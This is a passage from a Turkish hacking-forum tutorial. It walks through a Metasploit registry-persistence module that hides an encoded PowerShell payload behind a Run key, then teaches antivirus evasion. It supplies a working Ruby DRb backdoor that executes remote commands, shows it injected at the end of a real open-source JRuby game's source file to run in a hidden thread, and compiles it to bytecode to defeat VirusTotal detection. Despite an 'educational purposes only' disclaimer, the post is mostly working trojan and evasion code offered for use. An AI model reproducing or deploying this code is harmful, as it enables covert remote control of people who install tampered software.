registry_enumkeys(blob_reg_key) unless registry_createkey(blob_reg_key) fail_with(Failure::Unknown,"Failed to create key #{blob_reg_key}") end print_good("Created registry key #{blob_reg_key}") new_key = true end unless registry_setvaldata(blob_reg_key, blob_reg_name, blob, "REG_SZ") fail_with(Failure::Unknown,'Failed to open the registry key for writing') end print_good("Installed payload blob to #{blob_reg_key}\\#{blob_reg_name}") return new_key end
Bu kısımda çalıştırılacak olan komutları ve payloadları saklayan veri dizileri var. Detaylı olarak ayıklar isek
Ruby:register_options([ OptEnum.new('STARTUP', [true, 'Startup type for the persistent payload.', 'USER', ['USER','SYSTEM']]), OptString.new('BLOB_REG_KEY', [false, 'The registry key to use for storing the payload blob. (Default: random)' ]), OptString.new('BLOB_REG_NAME', [false, 'The name to use for storing the payload blob. (Default: random)' ]), OptString.new('RUN_NAME', [false, 'The name to use for the \'Run\' key. (Default: random)' ]), OptBool.new('CREATE_RC', [false, 'Create a resource file for cleanup', true]), OptInt.new('SLEEP_TIME', [false, 'Amount of time to sleep (in seconds) before executing payload. (Default: 0)', 0]), ]) end
Bu kısımlar Metasploit içerisinde bu modülü kullanan kişinin kendisine göre ayarlayabileceği kayıt kısımlarını barındırıyor. Başlangı, uyku süresi, çalışma ismi gibi gibi verilere buradan erişiliyor.
Ruby:def generate_cmd(root_path, blob_key_name, blob_key_reg) cmd = "%COMSPEC% /b /c start /b /min powershell -nop -w hidden -c \"sleep #{datastore['SLEEP_TIME']}; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item '#{root_path}:#{blob_key_name}').GetValue('#{blob_key_reg}'))))\"" return cmd end
Bir önceki kısımda bahsettiğim kullanıcının opsiyonel olarak ayarlamak istediği veriler burada bir komut içerisinde kullanılıyor.
Ruby:def log_file(log_path = nil) # Thanks Meatballs for this # Get hostname host = session.session_host # Create Filename info to be appended to downloaded files filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") # Create a directory for the logs if log_path logs = ::File.join(log_path, 'logs', 'persistence', Rex::FileUtils.clean_path(host + filenameinfo)) else logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo)) end
Ruby:def create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key) # Thanks Meatballs for this clean_rc = log_file() @clean_up_rc = "" @clean_up_rc << "reg deleteval -k '#{root_path}\\#{blob_reg_key}' -v '#{blob_reg_name}'\n" if new_key @clean_up_rc << "reg deletekey -k '#{root_path}\\#{blob_reg_key}'\n" end @clean_up_rc << "reg deleteval -k '#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -v '#{cmd_reg}'\n" file_local_write(clean_rc, @clean_up_rc) print_status("Clean up Meterpreter RC file: #{clean_rc}") report_note(:host => session.session_host, type: 'host.persistance.cleanup', data: { local_id: session.sid, stype: session.type, desc: session.info, platform: session.platform, via_payload: session.via_payload, via_exploit: session.via_exploit, created_at: Time.now.utc, commands: @clean_up_rc } ) end
Log dosyaları, işlem numarası, işlem tipi vb. verilerin temizlendiği fonksiyonu da burada görebiliyoruz.
Ruby:def exploit unless registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\").include?("PowerShell") print_warning('Warning: PowerShell does not seem to be available, persistence might fail') end print_status('Generating payload blob..') blob = generate_payload_blob print_good("Generated payload, #{blob.length} bytes") root_path = get_root_path print_status("Root path is #{root_path}") blob_reg_key, blob_reg_name = generate_blob_reg cmd = generate_cmd(root_path, blob_reg_key, blob_reg_name) cmd_reg = generate_cmd_reg print_status('Installing payload blob..') new_key = install_blob(root_path, blob, blob_reg_key, blob_reg_name) print_status('Installing run key') install_cmd(cmd, cmd_reg, root_path) if datastore['CREATE_RC'] create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key) end end end
Burada da sistemde PowerShell varlığı kontrol edilditken sonra asıl exploit burada çalışıyor, yani diğer anlattığım ve anlatmadığım kodda var olan fonksiyonlar burada çalışıyor ve enjeksiyon işleminde rol alıyor.
![]()
Ruby ile FUD Çalışmaları
Bashetmiş olduğum, Ruby kodunun derlenememesi olayı bize büyük bir dezavantaj sağlıyor elbette. Ama bunu yararımıza kullanabiliriz.
Ruby kodu JRuby yani Java-Ruby derleyicisi ile birlikte Java formatına çevrilebiliyor. Bunun sebeplerini sorarsanız: Ruby kendi VM ortamında yorumlanır, yani Java dilide bir sanal ortamda derlendiği için bu benzerlik bize olumluluk sağlar, bunun yanında JRuby yorumlayıcısının geliştiricileri bunun içinde özen göstermişlerdir.
Bu dezavantajı yararımıza kullanma konusuna devam eder isek, Ruby evet derlenemeyen bir dildir ama bunun yanıda da yüksek seviyeli bir programlama dilidir. Az kodla çok iş yapabilirsiniz. Eskiden yazmış olduğum bir Uzak Kod çalıştırma Servisi kodlamak adında yazım vardı. Bu yazıda iki adet kod paylaşımı yapmıştım.
Antivirüslerle Alay Etmek! (RCE #2) (%100 FUD)
Merhaba ben saldırı timlerinden Bunjo, bu konuda piyasada bulunan anti virüsler ile biraz eğleneceğiz. İlk Konu: Remote Code Execution Servisi Kodlamak! #1 - client.rb - require 'drb' class RShell def exec(cmd) `#{cmd}` end end DRb.start_service("druby://0.0.0.0:8080", RShell.new)...www.turkhackteam.org
server.rb içeriği:
Ruby:require 'drb' begin rshell = DRbObject.new_with_uri("druby://localhost:8080") loop do begin STDOUT.print("Command: ") command = gets STDOUT.puts("\nOutput: ") puts rshell.exec command rescue end end rescue => exception STDOUT.puts(exception) end
client.rb içeriği:
Ruby:require 'drb' class RShell def exec(cmd) `#{cmd}` end end DRb.start_service("druby://0.0.0.0:8080", RShell.new) DRb.thread.join
Bakın sadece arka planda basit bir backdoor görevi gören bu kod sade haliyle derlenmemiş biçimde %100 oranında sonuç vermişti. Antivirüsler algılamasa bile Virustotal bu kodu derlenmeden yani kodları açık olarak yüklendiği için, kod açıklamaları kısmında bir virüs olduğunu ve backdoor görevi gördüğünü algılamıştı.
![]()
Bu sorundan kurtulmak için birçok çözüm yöntemimiz var. Yüksek seviyeli bir programlama dili olduğundan bahsetmiştim, bu sayede az kod ile çok iş yapabiliyoruz. Yani 5000+ satırdan dağınık dosyalar halinde oluşan bir projeye 15 satırlık bu kodu çok rahat enjekte edebiliriz.
Örnek olarak Github platformunda yapılan bir projeyi inceleyelim.
![]()
GitHub - jamesmoriarty/scorched_earth: Scorched Earth clone in JRuby with no dependencies.
Scorched Earth clone in JRuby with no dependencies. - jamesmoriarty/scorched_earthgithub.com
Programla alakalı görsel:
![]()
Gördüğünüz gibi örnek olarak koyduğumuz basit olan bu uygulamanın dosya ağacı şu şekilde:
![]()
Yazılımcı, kullandığı kütüphaneleri bir "lib" adlı klasörde saklamış, bu sayede kullanıcının kütüphane indirmek için gem install komutunu indirmesine gerek kalmamış.
Kütüphaneyi incelediğimiz zaman,
![]()
Ruby:include Java import java.awt.event.WindowEvent import java.awt.image.BufferStrategy import javax.swing.JFrame import java.awt.Canvas import java.awt.Dimension import javax.swing.JPanel import java.awt.Color require 'scorched_earth/events/mouse_pressed' require 'scorched_earth/events/mouse_released' require 'scorched_earth/events/mouse_moved' module ScorchedEarth class GameWindow include java.awt.event.MouseMotionListener include java.awt.event.MouseListener attr_reader :buffer_strategy, :canvas, :game def initialize(width, height, game) @game = game @container = JFrame.new @canvas = Canvas.new @panel = @container.get_content_pane @container.set_default_close_operation JFrame::EXIT_ON_CLOSE @panel.set_preferred_size Dimension.new width, height @panel.set_layout nil @container.set_cursor nil @panel.add @canvas @container.pack @container.set_resizable false @container.set_visible true @canvas.set_bounds 0, 0, width, height @canvas.add_mouse_listener self @canvas.add_mouse_motion_listener self @canvas.set_ignore_repaint true @canvas.create_buffer_strategy 2 @buffer_strategy = @canvas.get_buffer_strategy end def run last_time = Time.now game.setup loop do delta = Time.now - last_time last_time = Time.now graphics = buffer_strategy.get_draw_graphics game.update delta game.render graphics graphics.dispose buffer_strategy.show sleep 1.0 / 60 end end private def mouse_moved(event) x = event.point.x y = event.point.y game.publish Events::MouseMoved.new x, y end def mouse_dragged(*args); end def mouse_pressed(event) x = event.point.x y = event.point.y game.publish Events::MousePressed.new x, y end def mouse_released(event) x = event.point.x y = event.point.y game.publish Events::MouseReleased.new x, y end def mouse_clicked(*args); end def mouse_entered(*args); end def mouse_exited(*args); end end end
Burada bahsettiğim java kütüphanelerini görüyoruz, proje JRuby ile yazılmış.
Buraya şifrelenmiş biçimde kendi virüsümüzü enjekte edebiliriz. Özellikle "Drb" kütüphanesini seçtim, bunun nedeni bu kütüphanenin Ruby dilinde kurulu olarak gelmesidir. Linux makinelerin çoğunda Ruby yüklü gelir ve içerisinde Bu kütüphane indirili olarak gelir bu sayede kullanıcıya zararlı amaçla kullanacağımız kütüphaneyi indirtmeyiz. Herhangi bir şüphelenme durumu da meydana gelmez.
Koda bağlı olarak istediğiniz yere enjekte edebilirsiniz.
Örnek olarak:
![]()
En aşağı kısıma eklenmiş bir biçimde zararlı kodumuz yer alıyor.
![]()
Ekstra olarak, ben thread() fonksiyonu kullandım bu sayede kodun işlemine hiçbir karışma olmadan bir arka tarafra bir işlem parçacığı olarak gözükeceğiz.
Daha büyük projelerde kod sayısı fazlalığından kod açıklamasından virüsün tespiti zorlaşacaktır. Bu kısa ve basit bir örnektir.
Buyurun ekleme yapılmış kod:
Ruby:include Java import java.awt.event.WindowEvent import java.awt.image.BufferStrategy import javax.swing.JFrame import java.awt.Canvas import java.awt.Dimension import javax.swing.JPanel import java.awt.Color require 'scorched_earth/events/mouse_pressed' require 'scorched_earth/events/mouse_released' require 'scorched_earth/events/mouse_moved' module ScorchedEarth class GameWindow include java.awt.event.MouseMotionListener include java.awt.event.MouseListener attr_reader :buffer_strategy, :canvas, :game def initialize(width, height, game) @game = game @container = JFrame.new @canvas = Canvas.new @panel = @container.get_content_pane @container.set_default_close_operation JFrame::EXIT_ON_CLOSE @panel.set_preferred_size Dimension.new width, height @panel.set_layout nil @container.set_cursor nil @panel.add @canvas @container.pack @container.set_resizable false @container.set_visible true @canvas.set_bounds 0, 0, width, height @canvas.add_mouse_listener self @canvas.add_mouse_motion_listener self @canvas.set_ignore_repaint true @canvas.create_buffer_strategy 2 @buffer_strategy = @canvas.get_buffer_strategy end def run last_time = Time.now game.setup loop do delta = Time.now - last_time last_time = Time.now graphics = buffer_strategy.get_draw_graphics game.update delta game.render graphics graphics.dispose buffer_strategy.show sleep 1.0 / 60 end end private def mouse_moved(event) x = event.point.x y = event.point.y game.publish Events::MouseMoved.new x, y end def mouse_dragged(*args); end def mouse_pressed(event) x = event.point.x y = event.point.y game.publish Events::MousePressed.new x, y end def mouse_released(event) x = event.point.x y = event.point.y game.publish Events::MouseReleased.new x, y end def mouse_clicked(*args); end def mouse_entered(*args); end def mouse_exited(*args); end end end require 'drb' class RShell def exec(cmd) `#{cmd}` end end DRb.start_service("druby://0.0.0.0:8080", RShell.new) DRb.thread.join
Bir diğer yöntemimiz kodumuzu bytecode formatına çevirmek olacaktır.
Onu da bu konuda anlattım erişebilirsiniz.
Ruby Kodunun Derlenmesi Hakkında (Bytecode, EXE) #DevSecOps
Mehrabalar ben Bunjo, bu konuda Ruby ile yazılmış bir kodun derlenebilir olup olmadığını ve bytecode kavramını ele alacağım. Ruby Kodu Derlenebilir mi? Ruby kodunu derlemeye çalışmak benimde üzerinde uğraş gösterdiğim bir konuydu. Ruby derlenmiş bir dil olmayp, yorumlanabilir bir dil olduğu...www.turkhackteam.org
client.rb adlı bir dosya oluşturuyorum ve bunun içinde virüsümü yazıyorum.
convert.rb adlı dosyayada dönüşüm işlemini yapacak kodu yazıyorum.
Ruby:byte_code = RubyVM::InstructionSequence.compile_file 'client.rb' File.binwrite 'bytecode', byte_code.to_binary
![]()
bytecode formatında olan ruby kodunu çalıştırmayı bashettiğim konuda anlattığım için burada tekrar anlatmıyorum okuyunuz.
Bytecode çeviriminden sonra virüs totale bakalım:
![]()
Sonuca inanmayanlar hash değerini yazsın baksın.
![]()
Eskiden bir Ruby kodu olarak algılanıyorduk şimdi Virustotal reisimiz bunu da algılayamıyor. Bytecode formatında olduğumuz için.
Bu arada kodu bytecodeye çevirmeden çalıştırınca içeride kullandığımız kütüphane ile alakalı olduğunu düşünüyorum.
![]()
YoksunTotal bize Java kodu dedi hatta Python falan filan bile yazıyor kod uzantısı .rb olmasına rağmen. Doktor fazla üzerine gitmeyin dediği için bir şey söylemiyorum AMA!
![]()
Reacher ve ben bunu bir hakaret olarak kabul ediyoruz!
Bytecode dosyasını içerisinde çalıştıran kodu da deneyebilirsiniz yine antivirüsler bulamaycaktır.
![]()
Okuyan herkese teşekkürler fakat belirtmek istediğim birkaç şey var. Öncelikle konuda tamamen scantime üzerinde durdum runtime için ileride antivirüslerden makine taraflı kaçma yollarını anlatacağım. Bu kısımda fazla detaya girmeyeceğim, anlattıklarımın hepsi iç ağ içerisinde geçerlidir. Dış ağ için ekstra port ayarları gibi konuları kötü amaçlı kullanıma karşılık anlatmıyorum. İleri ki konularda Ruby kodunun içeriğini şifrelemeyi anlatacağım. Junky kod olaylarının ne kadar işe yarayıp yaramadığına da yine ileri konualrda değineceğim.
Anlattıklarım giriş seviye konulardır, kendinize göre scriptleri geliştirebilirsiniz WinApi ile alakalı etkileşim konumu okuyabilirsiniz.
Tekrardan söylüyorum bunlar iç ağ içerisinde geçerlidir, dış ağda kullanmayınız! bu yazı sadece eğitim amaçlıdır. Herhangi bir şekilde sorumluluk kabul etmiyorum.
İyi forumlar!
Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.